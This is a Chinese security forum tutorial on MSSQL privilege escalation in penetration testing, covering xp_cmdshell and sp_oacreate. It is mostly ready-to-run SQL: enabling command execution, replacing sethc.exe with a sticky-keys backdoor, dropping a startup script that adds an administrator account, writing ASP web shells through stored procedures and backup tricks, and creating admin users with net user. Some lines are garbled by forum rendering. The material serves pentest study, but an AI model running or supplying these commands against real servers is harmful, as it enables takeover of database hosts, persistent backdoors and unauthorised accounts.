电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1740 人浏览分享

渗透测试之地基服务篇:服务攻防之数据库Mssql(中)

[复制链接]
1740 0
本帖最后由 zhaorong 于 2021-8-14 14:51 编辑

简介

渗透测试-地基篇

该篇章目的是重新牢固地基 加强每日训练操作的笔记 在记录地基笔记中会有很多跳跃性思
维的操作和方式方法 望大家能共同加油学到东西。

请注意:

本文仅用于技术讨论与研究 对于所有笔记中复现的这些终端或者服务器
都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻
击者机器。这里使用的技术仅用于学习教育目的 如果列出的技术用于其
他任何目标 本站及作者概不负责。


名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

数据库作为业务平台信息技术的核心和基础 承载着越来越多的关键数据 渐渐成为单位公共安全中最具有战略性的资产数据
库的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的数据库中往往储存着等极其重要和敏感的信息这些信息
一旦被篡改或者泄露 轻则造成企业经济损失 重则影响企业形象,甚至行业 社会安全。可见 数据库安全至关重要。所以对数
据库的保护是一项必须的,关键的 重要的工作任务。

通过前几期钓鱼 内网攻防篇章落幕后 引来了服务攻防篇章之数据库渗透篇 不管在外网还是内网环境 只要存在业务
系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作带小伙伴
们了解和学习数据库如何渗透的!

如果获得MSSQL用户密码如何拿到对方服务器权限呢?接下来将把提权技巧告诉大家!

二、MSSQL-xp_cmdshell进行提权

1、简介

xp_cmdshell是Sql Server中的一个组件 可以用来执行系统命令在拿到sa口令之后 经常可以通过xp_cmdshell
来进行提权在这里以Windows Server 2019 和 Sql Server 2019 为例进行测试!

2、查看xp_cmdshell状态

1)首先通过管理工具来查看xp_cmdshell状态

右击实例名-> Facets(A)

QQ截图20210814141311.png

QQ截图20210814141451.png

2)可以看到现在的xp_cmdshell是关闭状态

QQ截图20210814141624.png

3)然后我们通过sql指令来查看是否存在xp_cmdshell

右击数据库,新建查询,执行以下命令:
  1. select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
复制代码

100.png

可以看到返回结果是1

3、开启xp_cmdshell

1)命令如下:
  1. EXEC sp_configure 'xp_cmdshell',1
  2. RECONFIGURE
  3. GO
复制代码


99.png

98.png

可以看到报错提示xp_cmdshell不存在也可能是高级选项 前面已经通过命令查询存在
xp_cmdshell组件那只可能是高级选项!

2)通过命令开启允许编辑高级选项 命令如下
  1. EXEC sp_configure 'show advanced options', 1
  2. GO
  3. RECONFIGURE
  4. GO
复制代码

97.png

3)然后再去开启xp_cmdshell

96.png

配置选项 'xp_cmdshell' 已从 0 更改为 1!!

4、通过xp_cmdshell执行系统命令

通过xp_cmdshell执行系统命令指令如下
  1. master..xp_cmdshell 'whoami'

  2. EXEC master.dbo.xp_cmdshell 'ipconfig'
复制代码

93.png

返回的权限是network server,如果被降权那就无法完成提权。

92.png

5、关闭xp_cmdshell

1)和刚才一样,只不过需要把1改为0
  1. EXEC sp_configure 'xp_cmdshell', 0
  2. GO
  3. RECONFIGURE
  4. GO
复制代码

91.png

2)同样 关闭高级选项编辑也是

90.png

  1. EXEC sp_configure 'show advanced options', 1
  2. RECONFIGURE
  3. EXEC sp_configure 'xp_cmdshell',0
  4. RECONFIGURE
复制代码

三、MSSQL-使用sp_oacreate进行提权

1、前言

如果xp_cmdshell扩展存储过程被删除或者无法使用 可以使用sp_oacreate和sp_oamethod调用系统wscript.shell来
执行系统命令。sp_oacreate是一个非常危险的存储过程,可以删除、复制、移动文件还能配合sp_oamethod来写文
件执行cmd。sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行
的sp_oacreate+sp_oamethod同样能胜任。

2、前提条件

已获取到sqlserver sysadmin权限用户的账号与密码;

SQLserver服务未降权:

sqlserver可以外连;

3、判断sp_oacreate状态

在master.dbo.sysobjects中查看sp_oacreate状态 回显为1代表开启:
  1. select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
复制代码

89.png

4、未开启sp_oacreate状态

若未开启,执行以下命令开启sp_oacreate(启用 OLE Automation Procedures)。

1)开启sp_oacreate

开启命令:
  1. exec sp_configure 'show advanced options',1;
  2. reconfigure;
  3. exec sp_configure 'Ole Automation Procedures',1;
  4. reconfigure;
复制代码

88.png

当启用ole automation procedures时,对sp_oacreate的调用将会启动OLE共享执行环境。

2)关闭sp_oacreate

关闭命令:
  1. exec sp_configure 'show advanced options',1;
  2. reconfigure with override;
  3. exec sp_configure 'ole automation procedures',0;
  4. reconfigure with override;
  5. exec sp_configure 'show advanced options',0;
  6. reconfigure with override;
复制代码

87.png

5、开始提权

调用wscript.shell执行命令:

1)查询命令
  1. declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamet
  2. hod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt';
复制代码

86.png

85.png

2)删除文件
  1. declare @result int
  2. declare @fso_token int
  3. exec sp_oacreate 'scripting.filesystemobject', @fso_token out
  4. exec sp_oamethod @fso_token,'deletefile',null,'c:\1.txt'
  5. exec sp_oadestroy @fso_token
复制代码

84.png

3)复制文件
  1. declare @o int
  2. exec sp_oacreate 'scripting.filesystemobject',@o out
  3. exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
复制代码

83.png

4)替换粘贴键
  1. declare @o int
  2. exec sp_oacreate 'scripting.filesystemobject', @o out
  3. exec sp_oamethod @o,'copyfile',null,'c:\windows\explorer.exe', 'c:\windows\system32\sethc.exe'
  4. declare @oo int
  5. exec sp_oacreate 'scripting.filesystemobject', @oo i=out
  6. exec sp_oamethod @oo,'copyfile',null,'c:\windows\system32\sethc.exe','c:\window
  7. s\system32\dllcache\sethc.exe'
复制代码

5)启动项中写入添加账户脚本
  1. declare @sp_passwordxieo int, @f int, @t int, @ret int
  2. exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
  3. exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppDat
  4. a\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
  5. exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
  6. exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
  7. exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
  8. exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
  9. exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123[        DISCUZ_CODE_13        ]quot;)'
  10. exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
  11. exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
  12. exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123[        DISCUZ_CODE_13        ]quot;,user)'
  13. exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123[        DISCUZ_CODE_13        ]quot;';
复制代码

6)COM组件的利用(cmd.exe可以自行上传)
  1. declare @luan int,@exec int,@text int,@str varchar(8000);
  2. exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
  3. exec sp_oamethod @luan,'exec',@exec output,'C:\\phpstudy\\www\\test.com\\cmd.exe /c whoami';
  4. exec sp_oamethod @exec, 'StdOut', @text out;
  5. exec sp_oamethod @text, 'readall', @str out
  6. select @str;
复制代码

6、四种文件写入的方法

这几种文件写入的方法需要满足物理路径已知 拥有sa权限。

1)第一种存储过程写文件
  1. declare @o int, @f int, @t int, @ret int
  2. exec sp_oacreate 'scripting.filesystemobject', @o out
  3. exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\cbd.asp', 1
  4. exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
复制代码

82.png

81.png

2)第二种存储过程写文件
  1. declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c0025004500780065006
  2. 3007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a
  3. 002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;--
复制代码

3)第三种log备份
  1. alter database 库名 set RECOVERY FULL
  2. create table cmd (a image)
  3. backup log 库名 to disk = 'c:\' with init
  4. insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
  5. backup log 库名 to disk = 'c:\2.asp'
复制代码

4)第四种差异备份
  1. backup database 库名 to disk = 'c:\bak.bak';--
  2. create table [dbo].[test] ([cmd] [image]);
  3. insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
  4. backup database 库名 to disk='C:\d.asp' WITH DIFFERENTIAL,FORMAT;--
复制代码

6、创建用户
  1. declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shel
  2. l,'run',null,'c:\windows\system32\cmd.exe /c net user estelle 123456 /add'
  3. declare @shell int
  4. exec sp_oacreate 'wscript.shell',@shell  output
  5. exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user estelle 123456 /add'
  6. exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators estelle /add'
复制代码

那么到这里 我已经把所有的提权MSSQL两种模块的技巧都传授出来了。 能走多远在加固自身公司网络
安全数据库的基础上 就看小伙伴能吸收多少了加油!

四、总结

经过了安全三打版本的MSSQL后 在安全完的基础上进行了xp_cmdshell sp_oacreate
提权渗透的总结和演示学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍
接下来还有各种方法教给大家!

今天基础牢固就到这里 虽然基础 但是必须牢记于心。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.